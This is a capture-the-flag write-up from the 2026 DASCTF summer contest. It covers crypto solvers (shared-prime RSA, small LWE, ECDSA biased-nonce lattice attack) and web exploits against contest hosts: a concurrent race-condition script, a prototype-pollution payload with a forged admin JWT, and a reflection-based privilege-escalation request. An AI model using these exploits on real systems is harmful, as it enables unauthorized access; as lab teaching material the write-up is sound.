2026DASCTF夏季赛

本文最后更新于 2026年6月1日 下午

crypto

three_friends

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import *

flag = b"***********"

L = len(flag)
m1 = bytes_to_long(flag[:L//3])
m2 = bytes_to_long(flag[L//3:2*L//3])
m3 = bytes_to_long(flag[2*L//3:])

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)

e = 65537

n1 = p * q
n2 = q * r
n3 = p * r

c1 = pow(m1, e, n1)
c2 = pow(m2, e, n2)
c3 = pow(m3, e, n3)

print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"n3 = {n3}")
print(f"e = {e}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"c3 = {c3}")

"""
n1 = 110479112338979326841231465480900311437095583241804968504367003268478785311645575853029227541889465070127417880290972698509502098875302777600751062235679028180932171554996023850242418398546147652141811910224228666917788640895453721648601609529326886128507435254380985821439510394329605362511800619781782498829
n2 = 95225891725804035729098697183853172993650305271540351260130976375990969994680256179992972429701670943885218431291657615581872984046365977866046911929212400122026478512046580419614160900113488336302811792780327677539930592604198331529856760869923384410189400614767668529075682332352478496830621674767765967989
n3 = 111603865467493745511917065096450766019551858630764507502030413922630178420561431122201021143404521026218410173550594126191240832822627851633700772093095150654117699219949636045712687320990198957564564857885138504872560550777788915442814980338401072475446362026076893466520135409327492048388030114969050367401
e = 65537
c1 = 83456548767677952158133165776385438048214812740470347872014544040241661979735585698444752238351578159480247608435786172021153411975720140472715451216442036398970558532828923787921375318802867775369825882219621531795085442575971814645729572790836415339290407608988460626504016819536559945368010686567075802413
c2 = 55598291653542627898994967211126815679185160762475277667203320398466974811147081936849639204784572327753766773503264941715352990434513737784771805183050575481575095545922660276426069697449001567347723946016416649932633528235458091960122921036028416845355866656581114844470311590282808396786169332755296721792
c3 = 99617304265145206462280689337024202287720390645940568836285315412577937662785727570612881726190729195621460858194592258472873348744392240254689998279616123901037173010035977506212880680604466077172284894508163086916852071659627506881093976971048133795462670278664801263633610021626528113016267024450025017002
"""

题目将 flag 分成三段,分别用 RSA 加密。关键点在于三个模数 共享质因子

1
2
3
n1 = p * q
n2 = q * r
n3 = p * r

三个模数两两之间都有一个公共质因子,这就是题目名 “three friends” 的含义。

1. 利用 GCD 分解模数

由于 n1 和 n2 共享质因子 q:

1
2
3
q = gcd(n1, n2)
p = n1 // q
r = n2 // q

验证:p*q == n1, q*r == n2, p*r == n3

2. 分别计算私钥并解密

1
2
3
4
5
6
7
8
9
10
11
phi1 = (p-1) * (q-1)
phi2 = (q-1) * (r-1)
phi3 = (p-1) * (r-1)

d1 = inverse(e, phi1)
d2 = inverse(e, phi2)
d3 = inverse(e, phi3)

m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
m3 = pow(c3, d3, n3)

3. 拼接得到 flag

1
flag = long_to_bytes(m1) + long_to_bytes(m2) + long_to_bytes(m3)

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import long_to_bytes, GCD, inverse

n1 = 110479112338979326841231465480900311437095583241804968504367003268478785311645575853029227541889465070127417880290972698509502098875302777600751062235679028180932171554996023850242418398546147652141811910224228666917788640895453721648601609529326886128507435254380985821439510394329605362511800619781782498829
n2 = 95225891725804035729098697183853172993650305271540351260130976375990969994680256179992972429701670943885218431291657615581872984046365977866046911929212400122026478512046580419614160900113488336302811792780327677539930592604198331529856760869923384410189400614767668529075682332352478496830621674767765967989
n3 = 111603865467493745511917065096450766019551858630764507502030413922630178420561431122201021143404521026218410173550594126191240832822627851633700772093095150654117699219949636045712687320990198957564564857885138504872560550777788915442814980338401072475446362026076893466520135409327492048388030114969050367401
e = 65537
c1 = 83456548767677952158133165776385438048214812740470347872014544040241661979735585698444752238351578159480247608435786172021153411975720140472715451216442036398970558532828923787921375318802867775369825882219621531795085442575971814645729572790836415339290407608988460626504016819536559945368010686567075802413
c2 = 55598291653542627898994967211126815679185160762475277667203320398466974811147081936849639204784572327753766773503264941715352990434513737784771805183050575481575095545922660276426069697449001567347723946016416649932633528235458091960122921036028416845355866656581114844470311590282808396786169332755296721792
c3 = 99617304265145206462280689337024202287720390645940568836285315412577937662785727570612881726190729195621460858194592258472873348744392240254689998279616123901037173010035977506212880680604466077172284894508163086916852071659627506881093976971048133795462670278664801263633610021626528113016267024450025017002

# Step 1: 利用 GCD 分解模数
q = GCD(n1, n2)
p = n1 // q
r = n2 // q

# 验证分解正确性
assert p * q == n1
assert q * r == n2
assert p * r == n3

# Step 2: 计算私钥
phi1 = (p - 1) * (q - 1)
phi2 = (q - 1) * (r - 1)
phi3 = (p - 1) * (r - 1)

d1 = inverse(e, phi1)
d2 = inverse(e, phi2)
d3 = inverse(e, phi3)

# Step 3: 解密
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
m3 = pow(c3, d3, n3)

# Step 4: 拼接 flag
flag = long_to_bytes(m1) + long_to_bytes(m2) + long_to_bytes(m3)
print(f"Flag: {flag.decode()}")
1
DASCTF{thr33_fri3nds_sh@r3_pr1m3s!!}

lattice_oracle

Flag

1
DASCTF{LWE_l4tt1c3_r3duct10n_i5_p0w3rful!}

题目分析

题目实现了一个 Learning With Errors (LWE) 问题,参数极小:

  • 维度 n = 6
  • 模数 q = 97
  • 样本数 m = 30
  • 秘密向量 s 的每个分量在 {0, 1, 2, 3}
  • 误差 e_i ∈ {-1, 0, 1}

加密方式为 AES-CBC,密钥由 sha256(str(s)) 的前 16 字节派生。

LWE 方程组

其中 是已知的随机向量, 是已知的输出, 是未知的秘密向量, 是小误差。

解题思路

由于参数极小(n=6s[i] ∈ {0,1,2,3}),秘密空间仅有 种可能,可以直接暴力枚举。

对每个候选秘密 ,计算所有样本的误差 ,检查是否所有误差都在 (即 )范围内。

找到正确的 后,用 sha256(str(s)) 派生 AES 密钥,解密得到 flag。

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from Crypto.Cipher import AES

n = 6
q = 97
m = 30

A = [[94, 13, 86, 94, 69, 11], [54, 4, 3, 11, 27, 29], [77, 3, 71, 25, 91, 83],
[69, 53, 28, 57, 75, 35], [20, 89, 54, 43, 35, 19], [43, 13, 11, 48, 12, 45],
[77, 33, 5, 93, 58, 68], [48, 10, 70, 37, 80, 79], [73, 24, 90, 8, 5, 84],
[37, 10, 29, 12, 48, 35], [81, 46, 20, 47, 45, 26], [34, 89, 87, 82, 9, 77],
[21, 68, 93, 31, 20, 59], [34, 81, 88, 71, 28, 87], [77, 29, 4, 40, 51, 34],
[27, 72, 91, 40, 27, 83], [50, 82, 58, 18, 33, 17], [95, 71, 68, 33, 95, 74],
[74, 51, 46, 28, 17, 65], [11, 96, 6, 14, 19, 80], [87, 54, 76, 8, 49, 48],
[59, 67, 32, 70, 1, 87], [14, 87, 68, 96, 34, 82], [14, 37, 55, 20, 58, 0],
[92, 33, 64, 22, 64, 13], [38, 81, 64, 77, 25, 19], [20, 69, 67, 0, 76, 41],
[2, 14, 46, 39, 30, 7], [72, 10, 10, 93, 62, 8], [16, 16, 84, 60, 70, 21]]
b = [56, 74, 51, 28, 10, 30, 34, 45, 82, 56, 62, 52, 5, 71, 35, 41, 86, 47, 8, 27,
64, 29, 57, 92, 34, 55, 57, 70, 87, 28]
iv = bytes.fromhex('bcdad772f7a0ec967887f7b8f36234c8')
enc = bytes.fromhex('00ac1bac207e84d91c6243c4aead3576a20f996a5420eea7bfa0df3b61d68c83f283bd31f1fedf7465b6445d7a58dcdc')

# 暴力枚举 s[0..5] ∈ {0,1,2,3}
for s0 in range(4):
for s1 in range(4):
for s2 in range(4):
for s3 in range(4):
for s4 in range(4):
for s5 in range(4):
s = [s0, s1, s2, s3, s4, s5]
valid = True
for i in range(m):
dot = sum(A[i][j] * s[j] for j in range(n))
e = (b[i] - dot) % q
if e not in (0, 1, q - 1):
valid = False
break
if valid:
key = hashlib.sha256(str(s).encode()).digest()[:16]
flag = AES.new(key, AES.MODE_CBC, iv).decrypt(enc)
pad_len = flag[-1]
flag = flag[:-pad_len]
print(f"s = {s}")
print(f"Flag: {flag.decode()}")
exit()

关键点

  • LWE 参数(n=6, q=97, 误差范围 {-1,0,1})过小,暴力搜索空间仅
  • 实际 CTF 中的 LWE 问题通常需要格基归约(LLL/BKZ),但本题参数故意设小以降低难度
  • AES 密钥由 sha256(str(s)) 派生,注意 Python 的 str(list) 格式

phantom_sign

Flag

1
DASCTF{3cd5a_b1as3d_n0nc3_HNP_l4tt1c3_4ttack!}

题目分析

题目实现了 ECDSA 签名(secp256k1 曲线),使用 40 条已知消息的签名。关键弱点在于 nonce 的生成方式:

1
k_i = bytes_to_long(os.urandom(31))  # 31 字节 = 248 位

而曲线阶 n 为 256 位。这意味着 k_i < 2^248,即 nonce 比 n 少 8 位(高位为 0)。这是一个典型的 biased nonce 攻击场景。

ECDSA 签名方程

可改写为:

其中

解题思路

Hidden Number Problem (HNP)

由于 (比 少 8 位),上述方程构成一个 Hidden Number Problem。给定足够多的 对和有界 ,可以通过格基归约找到秘密

Kannan 嵌入法

将 CVP(最近向量问题)转化为 SVP(最短向量问题):

  1. 构造格 ,基向量为
  2. 目标向量为
  3. 使用 Kannan 嵌入,添加目标行 其中
  4. LLL 归约后的最短向量即为

参数分析

  • 格维度:(40 条签名 + 1 个 Kannan 嵌入列)
  • 目标向量范数:
  • 高斯启发式:
  • 目标范数 高斯启发式,LLL 可以找到

解题脚本

需要 pycryptodomepython-flint

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import json, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import flint

with open("data.json") as f:
data = json.load(f)

n = data["curve"]["n"]
signatures = data["signatures"]
iv = bytes.fromhex(data["iv"])
enc = bytes.fromhex(data["enc"])
B = 2**248

# 预计算 beta_i 和 t_i
betas, ts = [], []
for h, r, s in signatures:
s_inv = pow(s, -1, n)
betas.append(s_inv * r % n)
ts.append(s_inv * h % n)

def try_decrypt(d_cand):
if d_cand <= 0 or d_cand >= n: return None
key = hashlib.sha256(long_to_bytes(d_cand)).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
flag = unpad(cipher.decrypt(enc), 16)
if b"DASCTF" in flag: return flag.decode()
except: pass
return None

def verify_d(d_val):
for i in range(len(signatures)):
h, r, s = signatures[i]
k = (h + d_val * r) * pow(s, -1, n) % n
if k >= B: return False
return True

# Kannan 嵌入格
m = len(signatures)
dim = m + 1
M_param = B

rows = []
rows.append([int(betas[i]) for i in range(m)] + [0])
for i in range(m):
row = [0] * dim
row[i] = n
rows.append(row)
rows.append([int(ts[i]) for i in range(m)] + [int(M_param)])

M_mat = flint.fmpz_mat(rows)
M_reduced = M_mat.lll()

for i in range(len(rows)):
vec = [int(M_reduced[i, j]) for j in range(dim)]
if abs(vec[-1]) != M_param: continue
if max(abs(k) for k in vec[:-1]) >= 2 * B: continue
for j in range(m):
kj = vec[j]
for kj_cand in [kj % n, (-kj) % n]:
d = ((kj_cand - ts[j]) * pow(betas[j], -1, n)) % n
if 0 < d < n and verify_d(d):
result = try_decrypt(d)
if result:
print(f"d = {d}")
print(f"Flag: {result}")
exit()

关键点

  • os.urandom(31) 生成的 nonce 为 248 位,比曲线阶 n(256 位)少 8 位
  • 这 8 位的 bias 足以通过 Hidden Number Problem + 格基归约恢复私钥
  • 40 条签名提供了足够的方程数(需要约 33+ 条)
  • 使用 Kannan 嵌入将 CVP 转化为 SVP,用 flint 的快速 LLL 求解
  • 核心公式:,其中

web

InkVerse

题目描述

1
InkVerse是一个功能丰富的社区博客平台,支持文章发布、赞赏打赏、内容审核、文章导出以及每周摘要报告等功能。平台最近完成了一次大规模架构升级,引入了后台任务队列和分级公告系统。作为受邀的安全顾问,你的任务是对该系统进行全面评估。试试 /api/docs

http://ca62fb0b.http-ctf2.dasctf.com/api/docs暴露了接口文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
{
"endpoints": {
"admin": {
"POST /api/admin/promote": "Promote user (admin only)",
"POST /api/articles/import": "Import articles (admin only)"
},
"auth": {
"GET /logout": "Logout current session",
"POST /login": "Login (form: username, password)",
"POST /register": "Register a new account (form: username, password)"
},
"blog": {
"GET /": "List published articles",
"GET /api/user/info": "Get current user info",
"GET /article/<id>": "View article",
"GET /dashboard": "User dashboard with stats",
"POST /api/tip": "Tip an article author (json: article_id)",
"POST /article/<id>/delete": "Delete own article",
"POST /article/<id>/edit": "Edit draft/rejected article",
"POST /article/<id>/submit": "Submit article for review",
"POST /article/new": "Create new article (form: title, content)"
},
"bulletin": {
"GET /bulletin": "View bulletin board",
"POST /api/bulletin/refresh": "Invalidate cached bulletin data"
},
"digest": {
"GET /digests/<filename>": "Download digest file",
"POST /api/digest/subscribe": "Subscribe to digest (json: digest_type, include_private)"
},
"export": {
"GET /api/export/status": "List export jobs and their status",
"GET /exports/<filename>": "Download completed export file",
"POST /api/export": "Create export job for published article (json: article_id)"
},
"invite": {
"POST /api/invite/create": "Create invite code (json: target_role)",
"POST /api/invite/use": "Use invite code (json: code)"
},
"review": {
"GET /api/review/feature/status": "Check feature request status (query: article_id)",
"GET /review": "Review panel (reviewer/admin only)",
"POST /api/review/batch": "Batch review articles (json: article_ids[], action)",
"POST /api/review/feature": "Request article featuring (json: article_id, signature)",
"POST /api/review/single": "Review single article (json: article_id, action)"
}
},
"platform": "InkVerse Blog Platform",
"version": "2.1.0"
}

注册账户test/test

访问/bulletin提示Access denied. Only featured article authors, reviewers, and admins can view the bulletin board.

Reputation达到50权限提升至Reviewer

通过打赏文章可以获取Reputation,打赏消耗Balance

10 Balance == 2 Reputation

200/10=20*2=40 Reputation,不够50提升到Reviewer

看cookie格式可以知道是Flask session cookie 格式:base64_payload.timestamp.hmac_signature

1
2
3
4
5
6
7
8
9
import base64, zlib, json

cookie = "eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWRhB2XmIuSLYktbhEqRYAVoIPAQ.ahvFvg.oN3C0lWq0WfCjlCeXdkQdKr5OEA"
payload = cookie.split('.')[0]
payload_std = payload.replace('-', '+').replace('_', '/')
payload_std += '=' * (4 - len(payload_std) % 4)
data = json.loads(zlib.decompress(base64.b64decode(payload_std)))
print(data)
# {'role': 'user', 'user_id': 2, 'username': 'test'}

尝试伪造user_id

1
2
pip install flask-unsign
flask-unsign --unsign --cookie ".eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWRhB2XmIuSLYktbhEqRYAVoIPAQ.ahvFvg.oN3C0lWq0WfCjlCeXdkQdKr5OEA" --wordlist rockyou.txt --no-literal-eval

使用rockyou字典爆破,均未成功。密钥强度足够,此路不通。

测试文章flask SSTI

用户名处也没有

正常打赏流程:

1
2
3
4
1. 检查余额 >= 10
2. 扣除余额 (balance -= 10)
3. 增加声望 (reputation += 2)
4. 检查声望 >= 50 → 晋升 reviewer

问题:步骤 1 的余额检查和步骤 2 的余额扣除之间存在 TOCTOU (Time-of-Check-Time-of-Use) 竞态窗口。如果同时发送多个请求,所有请求可能在余额扣除前都通过了检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import concurrent.futures

BASE = "http://ca62fb0b.http-ctf2.dasctf.com"
session = requests.Session()

# 登录
session.post(f"{BASE}/login", data={"username": "test", "password": "test"})

# 查看当前状态
info = session.get(f"{BASE}/api/user/info").json()
print(f"[*] 当前: balance={info['balance']}, rep={info['reputation']}, role={info['role']}")

# 竞态条件攻击
def tip(_):
try:
r = session.post(f"{BASE}/api/tip", json={"article_id": 1}, timeout=5)
return r.json()
except:
return None

print("[*] 发送并发打赏请求...")
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
results = list(executor.map(tip, range(30)))

# 检查结果
info = session.get(f"{BASE}/api/user/info").json()
print(f"[*] 攻击后: balance={info['balance']}, rep={info['reputation']}, role={info['role']}")
'''
[*] 当前: balance=190, rep=2, role=user
[*] 发送并发打赏请求...
[*] 攻击后: balance=-110, rep=62, role=reviewer
'''

  • 并发请求全部在余额扣除前通过了 balance >= 10 检查
  • 30 个请求 × 2 声望 = 60 声望(超过 50 的 reviewer 阈值)
  • 余额变为 -100(透支),但声望已经足够
  • 系统自动将角色从 user 晋升为 reviewer

再次访问/bulletin

角色 权限 获取方式
user 创建文章、打赏、查看公告(public) 注册即获得
reviewer 审核文章、导出文章、查看审核面板 声望 ≥ 50 自动晋升
admin 管理员权限、导入文章、晋升用户 仅限 user_id=1
featured_author 查看分级公告中的特殊内容 文章被精选后获得

查看api文档中有文章导出接口

查看任务状态

下载文件

1
2
3
4
5
6
7
8
Title: Welcome to InkVerse
Author: admin
Export-ID: 1
Processed-At: 2026-05-31 05:54:59
Integrity: a606867c38f1d10f4bf4f6480cad8c83
Feature-Token: e62984cc48ce4899f075b7215ebfadbde86b3b6c6b1b412bed325d32478fdf4b
---
This is the official blog platform. Share your stories with the world!

得到Feature-Token

文章要经过/review才能公开,但是不能审核自己的文章,所以要注册另一个账户通过toctou提权到reviewer然后审核通过

Feature-Token是根据文章动态生成的,每个文章不同,所以要导出自己的文章

用Feature-Token将自己的文章精选,则权限提升至featured_author

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/review/feature HTTP/1.1
Host: 5481fa2c.http-ctf2.dasctf.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJyb2xlIjoicmV2aWV3ZXIiLCJ1c2VyX2lkIjoyLCJ1c2VybmFtZSI6InRlc3QifQ.ahvTMg.-TncZmkf0KSei7FlxptrBi-QY3A
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5481fa2c.http-ctf2.dasctf.com/review
Content-Type: application/json
Feature-Token: a86d57d985ee4b22c67cf13d662ae1ce22bc65a6909d08d951002eed858d0308

{"article_id":9,"signature":"a86d57d985ee4b22c67cf13d662ae1ce22bc65a6909d08d951002eed858d0308"}

CorpGate

技术栈: Node.js + Express + EJS + JWT + Cookie Auth

CorpGate 是一套企业员工门户系统,主要模块包括:

路由文件 功能
routes/auth.js 用户注册、登录、登出
routes/user.js Dashboard、通讯录、设置、搜索、健康检查
routes/admin.js 管理面板(需要 admin 角色)、诊断令牌生成
routes/diagnostic.js 诊断报告执行(运行 /readflag

漏洞一:deepMerge 原型链污染(Prototype Pollution)

漏洞位置: utils/merge.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const BLOCKED_ROOTS = ['__proto__', '__defineGetter__', '__defineSetter__', 'constructor', 'prototype'];
const BLOCKED_KEYS = ['__proto__', '__defineGetter__', '__defineSetter__'];
const MAX_DEPTH = 6;

function deepMerge(target, source, depth) {
if (depth === undefined) depth = 0;
if (depth >= MAX_DEPTH) return target;
for (var rawKey in source) {
var key = sanitizeKey(rawKey);
if (key === '') continue;
if (BLOCKED_KEYS.indexOf(key) !== -1) continue; // ⚠️ 只阻止 __proto__ 等3个
if (depth < 3 && BLOCKED_ROOTS.indexOf(key) !== -1) continue; // ⚠️ 深度>=3时放行
if (isPlainObject(source[rawKey])) {
if (typeof target[key] === 'object' && target[key] !== null) {
deepMerge(target[key], source[rawKey], depth + 1); // ⚠️ 递归合并
} else if (typeof target[key] === 'function') {
deepMerge(target[key], source[rawKey], depth + 1); // ⚠️ 函数也递归!
}
} else {
target[key] = source[rawKey];
}
}
return target;
}

关键缺陷分析:

  1. BLOCKED_KEYS** 过滤不全**: constructorprototype 不在 BLOCKED_KEYS 中,只在 BLOCKED_ROOTS
  2. 深度限制可绕过: BLOCKED_ROOTS 的检查条件是 depth < 3,当 depth >= 3 时,constructorprototype 等危险键名不再被阻止
  3. 函数类型也可递归: 当 target[key] 是函数时(如构造函数),代码仍然递归进入合并

漏洞二:JWT 签名密钥可被外部轮换

漏洞位置: config.js + routes/user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// config.js - configRefresh 函数
function configRefresh() {
var rotation = {}; // 空对象,继承 Object.prototype
rotation.source = 'vault';
rotation.timestamp = Date.now();

if (rotation.pending) { // ⚠️ 如果 Object.prototype.pending 被污染,这里为 true
signingState.active = rotation.pending; // ⚠️ 签名密钥被替换为攻击者控制的值
signingState.version++;
return { rotated: true, version: signingState.version };
}
return { rotated: false, version: signingState.version };
}

// routes/user.js - 健康检查端点,无需认证!
router.get('/api/system/healthcheck', (req, res) => {
var result = config.configRefresh(); // ⚠️ 任何人都能触发密钥轮换
res.json({ ... });
});

漏洞三:诊断端点执行系统命令

漏洞位置: routes/diagnostic.js

1
2
3
4
5
6
7
8
9
10
11
router.post('/api/reports/execute', authMiddleware, adminMiddleware, (req, res) => {
// 需要 admin 角色 + 有效的一次性 reference token
var entry = config.diagnosticStore[ref];
// ... TTL 和一次性检查 ...
entry.consumed = true;
var output = 'Diagnostic failed';
try {
output = execSync('/readflag').toString().trim(); // ⚠️ 直接执行 /readflag
} catch (e) {}
res.json({ status: 'completed', report: output });
});

攻击链验证

Step 1:注册用户

服务器返回 302 重定向到 /dashboard,并在 Set-Cookie 中返回 JWT token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY0YjU2ODNkLTEwZTktNDk0Ni05YmE4LTQ2MWJmOTZkNzQzZCIsInVzZXJuYW1lIjoidGVzdCIsInJvbGUiOiJlbXBsb3llZSIsImlhdCI6MTc4MDIxMTcyMSwiZXhwIjoxNzgwMjk4MTIxfQ.cXiFGQLQwxJ7YCFME8yQWTbNHLHCt6IhJoLeynIOw_Q

Step 2:触发原型链污染

利用 POST /api/settingsdeepMerge 漏洞。请求体结构经过精心设计:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"notifications": { // depth 0 → 递归进入
"digest": { // depth 1 → 递归进入
"channels": { // depth 2 → 递归进入(target 是 settings.notifications.digest.channels 对象)
"constructor": { // depth 3 → 通过!(BLOCKED_ROOTS 检查 depth < 3 为 false)
"prototype": { // depth 4 → 通过!(同上)
"pending": "passwd" // depth 5 → 写入 Object.prototype.pending
}
}
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /api/settings HTTP/1.1
Host: 686d3db8.http-ctf2.dasctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY0YjU2ODNkLTEwZTktNDk0Ni05YmE4LTQ2MWJmOTZkNzQzZCIsInVzZXJuYW1lIjoidGVzdCIsInJvbGUiOiJlbXBsb3llZSIsImlhdCI6MTc4MDIxMTcyMSwiZXhwIjoxNzgwMjk4MTIxfQ.cXiFGQLQwxJ7YCFME8yQWTbNHLHCt6IhJoLeynIOw_Q
Referer: http://686d3db8.http-ctf2.dasctf.com/register
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json

{
"notifications": {
"digest": {
"channels": {
"constructor": {
"prototype": {
"pending": "passwd"
}
}
}
}
}
}

污染路径详解:

深度 键名 BLOCKED_KEYS 检查 BLOCKED_ROOTS 检查 结果
0 notifications 未命中 - 递归进入
1 digest 未命中 - 递归进入
2 channels 未命中 - 递归进入
3 constructor 未命中 depth < 3 为 false,放行 递归进入(target 是函数 Object
4 prototype 未命中 depth < 3 为 false,放行 递归进入(target 是 Object.prototype
5 pending 未命中 未命中 Object.prototype.pending = "passwd"

Step 3:触发 JWT 签名密钥轮换

/api/system/healthcheck 端点无需认证,直接调用 configRefresh()

关键原理:

1
2
3
4
5
6
7
var rotation = {};  // 新建空对象
// 由于 Object.prototype.pending 已被污染为 "passwd"
// rotation.pending 通过原型链继承得到 "passwd"

if (rotation.pending) { // "passwd" 是 truthy ✅
signingState.active = rotation.pending; // JWT 签名密钥被替换!
}

响应确认密钥已轮换:

1
2
3
4
5
6
7
8
{
"status": "healthy",
"configVersion": 3, // 版本变更
"rotated": true, // ✅ 确认轮换成功
"services": {
"signingKeyVersion": "v3" // 新版本
}
}

Step 4:伪造 Admin JWT

使用伪造的 admin JWT 访问 /admin 管理面板:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY0YjU2ODNkLTEwZTktNDk0Ni05YmE4LTQ2MWJmOTZkNzQzZCIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAyMTE3MjEsImV4cCI6MTc4MDI5ODEyMX0.sr6Wd26Swi_k1EtoqvyLok7ynGNVTU4HwH41Iayo3Zk

页面返回:

Step 5:执行诊断获取 Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/reports/execute HTTP/1.1
Host: 686d3db8.http-ctf2.dasctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY0YjU2ODNkLTEwZTktNDk0Ni05YmE4LTQ2MWJmOTZkNzQzZCIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODAyMTE3MjEsImV4cCI6MTc4MDI5ODEyMX0.sr6Wd26Swi_k1EtoqvyLok7ynGNVTU4HwH41Iayo3Zk
Referer: http://686d3db8.http-ctf2.dasctf.com/register
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json

{"reference": "bcd7e09286a61cb0583b87da859eda7f"}

响应:

TaxManager

代码审计总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
com/tax/
├── controller/
│ ├── AuthController.java ← 反射型权限提升
│ ├── ExportController.java ← 反序列化触发点
│ ├── ImportController.java ← XXE漏洞
│ ├── ReviewController.java ← HMAC签名验证 + 恶意数据存储
│ └── ...
├── util/
│ ├── ScheduledTaskHandler.java ← 反序列化Gadget入口 (自定义readObject)
│ └── SerializeUtil.java ← 不安全的ObjectInputStream
├── job/
│ └── ReportJob.java ← Gadget链中间节点 (Runnable)
└── report/
└── PdfReportGenerator.java ← FreeMarker SSTI Sink

漏洞1: 反射型权限提升 (Privilege Escalation via Reflection)

文件: AuthController.java:122-134

1
2
3
4
5
6
7
8
9
10
11
Set<String> readonlyFields = new HashSet<>(Arrays.asList("id", "username", "password"));
for (Map.Entry<String, String> entry : body.entrySet()) {
String key = entry.getKey();
String value = entry.getValue();
// 仅阻止 role=admin,但允许 role=reviewer
if (!readonlyFields.contains(key) && (!"role".equals(key) || !"admin".equals(value))) {
Field field = User.class.getDeclaredField(key);
field.setAccessible(true);
field.set(user, value);
}
}

使用Java反射设置User对象的任意字段。只禁止了 role=admin,但允许 role=reviewer,实现权限提升

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/profile/update HTTP/1.1
Host: 9f3b28f5.http-ctf2.dasctf.com
Accept-Encoding: gzip, deflate
Referer: http://9f3b28f5.http-ctf2.dasctf.com/register
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://9f3b28f5.http-ctf2.dasctf.com
Cookie: JSESSIONID=865143277825A35AD338DCE6CA0D4ACD
Accept: */*
Content-Length: 58

{
"role": "reviewer"
}

/api/profile验证

漏洞2: 不安全的Java反序列化 (Unsafe Deserialization)

文件: com.tax.util.SerializeUtil:20-24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class SerializeUtil {
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}

public static Object deserialize(String base64Data) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64Data);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
return ois.readObject();
}
} // 无类型过滤!


